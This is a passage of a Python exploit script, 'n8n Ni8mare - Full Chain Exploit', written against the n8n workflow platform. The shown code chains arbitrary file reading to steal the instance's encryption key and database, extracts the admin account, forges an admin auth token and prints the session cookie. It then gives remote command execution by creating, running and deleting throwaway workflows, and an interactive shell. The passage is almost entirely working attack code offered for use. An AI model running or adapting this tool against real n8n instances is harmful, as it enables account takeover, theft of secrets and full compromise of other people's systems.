137        workflow = {"name": wf_name, "active": False, "nodes": nodes,
138                    "connections": connections, "settings": {}}
139
140        resp = self._api("POST", "/rest/workflows", json=workflow, timeout=10)
141        if not resp:
142            return None
143        wf_id = resp.json().get("data", {}).get("id")
144        if not wf_id:
145            return None
146
147        run_data = {"workflowData": {"id": wf_id, "name": wf_name, "active": False,
148                                      "nodes": nodes, "connections": connections, "settings": {}}}
149        resp = self._api("POST", f"/rest/workflows/{wf_id}/run", json=run_data, timeout=30)
150        if not resp:
151            self._api("DELETE", f"/rest/workflows/{wf_id}", timeout=5)
152            return None
153
154        exec_id = resp.json().get("data", {}).get("executionId")
155        result = self._get_result(exec_id) if exec_id else None
156        self._api("DELETE", f"/rest/workflows/{wf_id}", timeout=5)
157        return result
158
159    def _get_result(self, exec_id: str) -> str | None:
160        resp = self._api("GET", f"/rest/executions/{exec_id}", timeout=10)
161        if not resp:
162            return None
163        data = resp.json().get("data", {}).get("data")
164        if not data:
165            return None
166        parsed = json.loads(data)
167        # Result is usually the last non-empty string
168        for item in reversed(parsed):
169            if isinstance(item, str) and len(item) > 3 and item not in ("success", "error"):
170                return item.strip()
171        return None
172
173    # ========== Full Chain ==========
174
175    def pwn(self) -> bool:
176        p = log.progress("HOME directory")
177        home = self.get_home()
178        if not home:
179            return p.failure("Not found") or False
180        p.success(home)
181
182        p = log.progress("Encryption key")
183        key = self.get_key(home)
184        if not key:
185            return p.failure("Failed") or False
186        p.success(f"{key[:8]}...")
187
188        p = log.progress("Database")
189        db = self.get_db(home)
190        if not db:
191            return p.failure("Failed") or False
192        p.success(f"{len(db)} bytes")
193
194        p = log.progress("Admin user")
195        admin = self.extract_admin(db)
196        if not admin:
197            return p.failure("Not found") or False
198        uid, email, pw = admin
199        p.success(email)
200
201        p = log.progress("Token forge")
202        self.forge_token(key, uid, email, pw)
203        p.success("OK")
204
205        p = log.progress("Admin access")
206        if not self.verify_token():
207            return p.failure("Rejected") or False
208        p.success("GRANTED!")
209
210        log.success(f"Cookie: n8n-auth={self.admin_token}")
211        return True
212
213
214def parse_args():
215    p = argparse.ArgumentParser(description="n8n Ni8mare - Full Chain Exploit")
216    p.add_argument("url", help="Target URL (http://target:5678)")
217    p.add_argument("form", help="Form path (/form/upload)")
218    p.add_argument("--read", metavar="PATH", help="Read arbitrary file")
219    p.add_argument("--cmd", metavar="CMD", help="Execute single command")
220    p.add_argument("-o", "--output", metavar="FILE", help="Save LFI output to file")
221    return p.parse_args()
222
223
224def run_read(exploit: Ni8mare, path: str, output: str | None) -> None:
225    data = exploit.read_file(path)
226    if not data:
227        log.error("File read failed")
228        return
229    log.success(f"{len(data)} bytes")
230    if output:
231        with open(output, "wb") as f:
232            f.write(data)
233        log.success(f"Saved: {output}")
234        return
235    print(data.decode())
236
237
238def run_cmd(exploit: Ni8mare, cmd: str) -> None:
239    p = log.progress("RCE")
240    out = exploit.rce(cmd)
241    if not out:
242        p.failure("Failed")
243        return
244    p.success("OK")
245    print(f"\n{out}")
246
247
248def run_shell(exploit: Ni8mare) -> None:
249    log.info("Interactive mode (type 'exit' to quit)")
250    while True:
251        try:
252            cmd = input("\033[91mn8n\033[0m> ").strip()
253        except (EOFError, KeyboardInterrupt):
254            print()
255            return
256        if not cmd or cmd == "exit":
257            return
258        out = exploit.rce(cmd)
259        if out:
260            print(out)
261
262
263def main():
264    print(BANNER)
265    args = parse_args()
266
267    exploit = Ni8mare(args.url, args.form)
268    version, vuln = exploit.get_version()
269    log.info(f"Target: {exploit.form_url}")
270    log.info(f"Version: {version} ({'VULN' if vuln else 'SAFE'})")
271
272    if args.read:
273        run_read(exploit, args.read, args.output)
274        return
275
276    if not exploit.pwn():
277        return
278
279    if args.cmd:
280        run_cmd(exploit, args.cmd)
281        return
282
283    run_shell(exploit)
284
285
286if __name__ == "__main__":
287    main()
Licensed under CC BY-NC-SA 4.0